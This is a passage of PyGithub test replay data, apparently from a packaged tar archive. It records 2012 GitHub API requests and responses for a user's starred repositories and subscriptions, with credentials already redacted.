com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/stephenmcd","id":116385},"description":"A Django app providing the features required to use websockets with Django via Socket.IO","git_url":"git://github.com/stephenmcd/django-socketio.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":39,"clone_url":"https://github.com/stephenmcd/django-socketio.git","created_at":"2011-08-01T21:18:34Z","watchers_count":323,"html_url":"https://github.com/stephenmcd/django-socketio","has_wiki":true,"watchers":323,"open_issues_count":6,"size":180,"fork":false,"open_issues":6,"has_issues":true,"updated_at":"2012-09-06T13:47:36Z","full_name":"stephenmcd/django-socketio","name":"django-socketio","url":"https://api.github.com/repos/stephenmcd/django-socketio","ssh_url":"git@github.com:stephenmcd/django-socketio.git","private":false,"id":2139136,"language":"JavaScript","homepage":"","svn_url":"https://github.com/stephenmcd/django-socketio","pushed_at":"2012-08-29T20:29:10Z"},{"forks":4,"has_downloads":true,"owner":{"gravatar_id":"f69b46619a23b64a1184bd038bfa8de5","login":"jstasiak","avatar_url":"https://secure.gravatar.com/avatar/f69b46619a23b64a1184bd038bfa8de5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jstasiak","id":36209},"description":"Use this application to get Socket.IO support in your Django project and dive into real time web.","git_url":"git://github.com/jstasiak/django-realtime.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":4,"clone_url":"https://github.com/jstasiak/django-realtime.git","created_at":"2011-09-20T19:13:10Z","watchers_count":23,"html_url":"https://github.com/jstasiak/django-realtime","has_wiki":true,"watchers":23,"open_issues_count":0,"size":132,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2012-08-21T15:09:28Z","full_name":"jstasiak/django-realtime","name":"django-realtime","url":"https://api.github.com/repos/jstasiak/django-realtime","ssh_url":"git@github.com:jstasiak/django-realtime.git","private":false,"id":2424738,"language":"JavaScript","homepage":"","svn_url":"https://github.com/jstasiak/django-realtime","pushed_at":"2012-04-21T16:22:25Z"},{"forks":4,"has_downloads":true,"owner":{"gravatar_id":"af55714b265c4914c8bb8db49fc06da6","login":"AcmeSystems","avatar_url":"https://secure.gravatar.com/avatar/af55714b265c4914c8bb8db49fc06da6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/AcmeSystems","id":783524},"description":"Small programming examples for the FOX Board G20","git_url":"git://github.com/AcmeSystems/playground.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":4,"clone_url":"https://github.com/AcmeSystems/playground.git","created_at":"2011-10-17T16:16:10Z","watchers_count":7,"html_url":"https://github.com/AcmeSystems/playground","has_wiki":true,"watchers":7,"open_issues_count":0,"size":212,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2012-09-06T16:51:18Z","full_name":"AcmeSystems/playground","name":"playground","url":"https://api.github.com/repos/AcmeSystems/playground","ssh_url":"git@github.com:AcmeSystems/playground.git","private":false,"id":2593052,"language":"Python","homepage":"http://www.acmesystems.it","svn_url":"https://github.com/AcmeSystems/playground","pushed_at":"2012-09-06T16:51:16Z"},{"forks":36,"has_downloads":true,"owner":{"gravatar_id":"d3231546d42d67974fc51956a3b627f4","login":"juuso","avatar_url":"https://secure.gravatar.com/avatar/d3231546d42d67974fc51956a3b627f4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/juuso","id":614446},"description":"A silly & effective MD5 cracker in Ruby","git_url":"git://github.com/juuso/BozoCrack.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":36,"clone_url":"https://github.com/juuso/BozoCrack.git","created_at":"2011-11-07T13:02:08Z","watchers_count":375,"html_url":"https://github.com/juuso/BozoCrack","has_wiki":true,"watchers":375,"open_issues_count":8,"size":140,"fork":false,"open_issues":8,"has_issues":true,"updated_at":"2012-09-07T10:43:48Z","full_name":"juuso/BozoCrack","name":"BozoCrack","url":"https://api.github.com/repos/juuso/BozoCrack","ssh_url":"git@github.com:juuso/BozoCrack.git","private":false,"id":2726128,"language":"Ruby","homepage":"","svn_url":"https://github.com/juuso/BozoCrack","pushed_at":"2011-11-07T14:55:19Z"},{"forks":1,"has_downloads":true,"owner":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/BeaverSoftware","id":1424031},"description":"","git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","permissions":{"pull":true,"push":true,"admin":true},"mirror_url":null,"forks_count":1,"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","created_at":"2012-02-09T19:32:21Z","watchers_count":2,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","has_wiki":true,"watchers":2,"open_issues_count":0,"size":0,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2012-02-16T21:51:15Z","full_name":"BeaverSoftware/FatherBeaver","name":"FatherBeaver","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","private":false,"id":3400397,"language":null,"homepage":"","svn_url":"https://github.com/BeaverSoftware/FatherBeaver","pushed_at":null}] https GET api.github.com None /user/starred?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '5925'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4969'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:24:22 GMT'), ('connection', 'keep-alive'), ('etag', '"94c163fa14b07651e050e97613c9aea5"'), ('link', '; rel="first", ; rel="prev"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:34:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"forks":1,"has_downloads":true,"html_url":"https://github.com/joestein/amaunet","owner":{"gravatar_id":"c5949edcf9e35a9aeb2584b6d4a58dcf","login":"joestein","url":"https://api.github.com/users/joestein","avatar_url":"https://secure.gravatar.com/avatar/c5949edcf9e35a9aeb2584b6d4a58dcf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":115151},"description":"Python Streaming Example","permissions":{"pull":true,"push":false,"admin":false},"forks_count":1,"clone_url":"https://github.com/joestein/amaunet.git","git_url":"git://github.com/joestein/amaunet.git","created_at":"2012-03-09T02:03:25Z","has_wiki":true,"watchers_count":6,"watchers":6,"mirror_url":null,"open_issues_count":0,"size":84,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2012-07-23T00:48:19Z","full_name":"joestein/amaunet","name":"amaunet","url":"https://api.github.com/repos/joestein/amaunet","ssh_url":"git@github.com:joestein/amaunet.git","private":false,"id":3666534,"language":null,"homepage":"http://allthingshadoop.com/2010/12/16/simple-hadoop-streaming-tutorial-using-joins-and-keys-with-python/","svn_url":"https://github.com/joestein/amaunet","pushed_at":"2012-03-09T02:20:37Z"},{"forks":840,"has_downloads":true,"html_url":"https://github.com/django/django","owner":{"gravatar_id":"fd542381031aa84dca86628ece84fc07","login":"django","url":"https://api.github.com/users/django","avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","id":27804},"description":"The Web framework for perfectionists with deadlines.","permissions":{"pull":true,"push":false,"admin":false},"forks_count":840,"clone_url":"https://github.com/django/django.git","git_url":"git://github.com/django/django.git","created_at":"2012-04-28T02:47:18Z","has_wiki":false,"watchers_count":4040,"watchers":4040,"mirror_url":null,"open_issues_count":94,"size":10896,"fork":false,"open_issues":94,"has_issues":false,"updated_at":"2012-09-07T23:24:22Z","full_name":"django/django","name":"django","url":"https://api.github.com/repos/django/django","ssh_url":"git@github.com:django/django.git","private":false,"id":4164482,"language":"Python","homepage":"http://www.djangoproject.com/","svn_url":"https://github.com/django/django","pushed_at":"2012-09-07T23:24:22Z"},{"forks":0,"has_downloads":true,"html_url":"https://github.com/jacquev6/django","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"description":"The Web framework for perfectionists with deadlines. Now on GitHub.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/django.git","git_url":"git://github.com/jacquev6/django.git","created_at":"2012-04-28T11:06:20Z","has_wiki":false,"watchers_count":2,"watchers":2,"mirror_url":null,"open_issues_count":0,"size":48476,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-06-09T10:37:50Z","full_name":"jacquev6/django","name":"django","url":"https://api.github.com/repos/jacquev6/django","ssh_url":"git@github.com:jacquev6/django.git","private":false,"id":4166730,"language":"Python","homepage":"http://www.djangoproject.com/","svn_url":"https://github.com/jacquev6/django","pushed_at":"2012-04-28T04:05:15Z"},{"forks":1,"has_downloads":true,"html_url":"https://github.com/gturri/moviePlanning","owner":{"gravatar_id":"ba064e32f068e12bfc87d178179878a5","login":"gturri","url":"https://api.github.com/users/gturri","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":308601},"description":"","permissions":{"pull":true,"push":false,"admin":false},"forks_count":1,"clone_url":"https://github.com/gturri/moviePlanning.git","git_url":"git://github.com/gturri/moviePlanning.git","created_at":"2012-05-27T11:16:53Z","has_wiki":true,"watchers_count":2,"watchers":2,"mirror_url":null,"open_issues_count":0,"size":340,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2012-06-28T08:29:47Z","full_name":"gturri/moviePlanning","name":"moviePlanning","url":"https://api.github.com/repos/gturri/moviePlanning","ssh_url":"git@github.com:gturri/moviePlanning.git","private":false,"id":4461403,"language":"Python","homepage":null,"svn_url":"https://github.com/gturri/moviePlanning","pushed_at":"2012-06-28T08:29:46Z"},{"forks":370,"has_downloads":true,"html_url":"https://github.com/facebook/folly","owner":{"gravatar_id":"193c1a93276f729041fc875cf2a20773","login":"facebook","url":"https://api.github.com/users/facebook","avatar_url":"https://secure.gravatar.com/avatar/193c1a93276f729041fc875cf2a20773?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","id":69631},"description":"Folly is an open-source C++ library developed and used at Facebook.","permissions":{"pull":true,"push":false,"admin":false},"forks_count":370,"clone_url":"https://github.com/facebook/folly.git","git_url":"git://github.com/facebook/folly.git","created_at":"2012-06-01T20:49:04Z","has_wiki":true,"watchers_count":2419,"watchers":2419,"mirror_url":null,"open_issues_count":2,"size":376,"fork":false,"open_issues":2,"has_issues":true,"updated_at":"2012-09-07T22:17:59Z","full_name":"facebook/folly","name":"folly","url":"https://api.github.com/repos/facebook/folly","ssh_url":"git@github.com:facebook/folly.git","private":false,"id":4524181,"language":"C++","homepage":"https://groups.google.com/forum/?fromgroups#!forum/facebook-folly","svn_url":"https://github.com/facebook/folly","pushed_at":"2012-08-26T18:14:39Z"}] https GET api.github.com None /user/starred/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:34:44 GMT')] https DELETE api.github.com None /user/starred/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4967'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:34:45 GMT')] https GET api.github.com None /user/starred/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '23'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4966'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:34:45 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /user/starred/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4965'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:34:46 GMT')] https GET api.github.com None /user/starred/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4964'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:34:47 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testSubscriptions.txt0000644000175100001660000012655114756101563026120 0ustar00runnerdockerhttps GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4945'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '603'), ('server', 'nginx/1.0.13'), ('last-modified', 'Mon, 03 Sep 2012 09:24:06 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"eeac2be05fbbb88d548aaf0353a465f9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:53:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","gravatar_id":"466ef7561a0b100dc5a1021959962d28","hireable":false,"login":"nvie","public_gists":28,"blog":"http://nvie.com","created_at":"2009-05-12T21:19:38Z","bio":null,"email":"vincent@3rdcloud.com","company":"3rd Cloud","followers":347,"avatar_url":"https://secure.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","public_repos":64,"name":"Vincent Driessen","url":"https://api.github.com/users/nvie","following":41,"html_url":"https://github.com/nvie","location":"Netherlands","id":83844} https GET api.github.com None /repos/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4944'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1272'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:34:46 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"86a43618f03354f322e8cd3886e02308"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:53:22 GMT'), ('content-type', 'application/json; charset=utf-8')] {"master_branch":"develop","forks":429,"has_downloads":true,"owner":{"gravatar_id":"466ef7561a0b100dc5a1021959962d28","login":"nvie","avatar_url":"https://secure.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/nvie","id":83844},"description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","permissions":{"pull":true,"push":false,"admin":false},"forks_count":429,"clone_url":"https://github.com/nvie/gitflow.git","git_url":"git://github.com/nvie/gitflow.git","created_at":"2010-01-20T23:14:12Z","network_count":429,"has_wiki":true,"watchers_count":4650,"watchers":4650,"open_issues_count":100,"size":4430,"fork":false,"open_issues":100,"has_issues":true,"updated_at":"2012-09-07T23:34:46Z","full_name":"nvie/gitflow","name":"gitflow","url":"https://api.github.com/repos/nvie/gitflow","mirror_url":null,"ssh_url":"git@github.com:nvie/gitflow.git","html_url":"https://github.com/nvie/gitflow","private":false,"id":481366,"language":"Shell","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","svn_url":"https://github.com/nvie/gitflow","pushed_at":"2012-07-10T09:18:03Z"} https GET api.github.com None /user/subscriptions {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4943'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '35709'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:34:46 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"86a43618f03354f322e8cd3886e02308"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:53:22 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"master_branch":"develop","forks":429,"watchers_count":4650,"has_downloads":true,"owner":{"gravatar_id":"466ef7561a0b100dc5a1021959962d28","login":"nvie","url":"https://api.github.com/users/nvie","avatar_url":"https://secure.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":83844},"open_issues_count":100,"description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","permissions":{"pull":true,"push":false,"admin":false},"forks_count":429,"clone_url":"https://github.com/nvie/gitflow.git","created_at":"2012-09-08T06:53:02Z","has_wiki":true,"watchers":4650,"html_url":"https://github.com/nvie/gitflow","size":4430,"fork":false,"open_issues":100,"has_issues":true,"updated_at":"2012-09-07T23:34:46Z","full_name":"nvie/gitflow","name":"gitflow","url":"https://api.github.com/repos/nvie/gitflow","ssh_url":"git@github.com:nvie/gitflow.git","git_url":"git://github.com/nvie/gitflow.git","private":false,"id":481366,"mirror_url":null,"language":"Shell","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","svn_url":"https://github.com/nvie/gitflow","pushed_at":"2012-07-10T09:18:03Z"},{"master_branch":"master","forks":1,"watchers_count":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"Vincent's Development Environment","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/ViDE.git","created_at":null,"has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/ViDE","size":1496,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-06-08T11:05:51Z","full_name":"jacquev6/ViDE","name":"ViDE","url":"https://api.github.com/repos/jacquev6/ViDE","ssh_url":"git@github.com:jacquev6/ViDE.git","git_url":"git://github.com/jacquev6/ViDE.git","private":false,"id":767343,"mirror_url":null,"language":"Python","homepage":"","svn_url":"https://github.com/jacquev6/ViDE","pushed_at":"2012-06-08T11:05:51Z"},{"master_branch":"master","forks":1,"watchers_count":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","created_at":"2012-08-07T03:23:22Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","size":112,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-07-27T02:32:15Z","full_name":"jacquev6/Boost.HierarchicalEnum","name":"Boost.HierarchicalEnum","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","private":false,"id":767382,"mirror_url":null,"language":"C++","homepage":"","svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","pushed_at":"2011-11-27T14:00:23Z"},{"master_branch":"master","forks":1,"watchers_count":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/QuadProgMm.git","created_at":null,"has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/QuadProgMm","size":760,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-04-16T18:39:06Z","full_name":"jacquev6/QuadProgMm","name":"QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","git_url":"git://github.com/jacquev6/QuadProgMm.git","private":false,"id":767386,"mirror_url":null,"language":"C++","homepage":"http://vincent-jacques.net/QuadProgMm","svn_url":"https://github.com/jacquev6/QuadProgMm","pushed_at":"2012-04-16T18:39:05Z"},{"master_branch":"master","forks":1,"watchers_count":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/DrawSyntax.git","created_at":"2012-08-07T03:23:17Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/DrawSyntax","size":1760,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-08-11T03:53:58Z","full_name":"jacquev6/DrawSyntax","name":"DrawSyntax","url":"https://api.github.com/repos/jacquev6/DrawSyntax","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","git_url":"git://github.com/jacquev6/DrawSyntax.git","private":false,"id":767392,"mirror_url":null,"language":"C++","homepage":"http://vincent-jacques.net/DrawSyntax/","svn_url":"https://github.com/jacquev6/DrawSyntax","pushed_at":"2011-11-27T14:00:32Z"},{"master_branch":"master","forks":1,"watchers_count":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"A tool to draw Turk's Head Knots. Try it online","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","created_at":"2012-08-07T03:23:13Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/DrawTurksHead","size":3232,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-04-16T18:38:55Z","full_name":"jacquev6/DrawTurksHead","name":"DrawTurksHead","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","git_url":"git://github.com/jacquev6/DrawTurksHead.git","private":false,"id":767403,"mirror_url":null,"language":"C++","homepage":"http://vincent-jacques.net/DrawTurksHead/","svn_url":"https://github.com/jacquev6/DrawTurksHead","pushed_at":"2012-04-16T18:38:54Z"},{"forks":0,"watchers_count":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/PrivateStuff.git","created_at":null,"has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/PrivateStuff","size":1252,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-09-07T19:22:17Z","full_name":"jacquev6/PrivateStuff","name":"PrivateStuff","url":"https://api.github.com/repos/jacquev6/PrivateStuff","ssh_url":"git@github.com:jacquev6/PrivateStuff.git","git_url":"git://github.com/jacquev6/PrivateStuff.git","private":true,"id":1592290,"mirror_url":null,"language":"Python","homepage":"","svn_url":"https://github.com/jacquev6/PrivateStuff","pushed_at":"2012-09-07T19:21:59Z"},{"forks":0,"watchers_count":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","created_at":null,"has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/vincent-jacques.net","size":164,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-06-30T09:29:07Z","full_name":"jacquev6/vincent-jacques.net","name":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","private":true,"id":1986874,"mirror_url":null,"language":"Python","homepage":"vincent-jacques.net","svn_url":"https://github.com/jacquev6/vincent-jacques.net","pushed_at":"2012-06-30T09:29:07Z"},{"forks":0,"watchers_count":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/Hacking.git","created_at":"2012-08-07T03:23:13Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/Hacking","size":148,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-09-07T20:42:54Z","full_name":"jacquev6/Hacking","name":"Hacking","url":"https://api.github.com/repos/jacquev6/Hacking","ssh_url":"git@github.com:jacquev6/Hacking.git","git_url":"git://github.com/jacquev6/Hacking.git","private":true,"id":1988081,"mirror_url":null,"language":"Python","homepage":"","svn_url":"https://github.com/jacquev6/Hacking","pushed_at":"2012-09-07T20:42:54Z"},{"forks":1,"watchers_count":0,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"Caesar IV: anticipate your 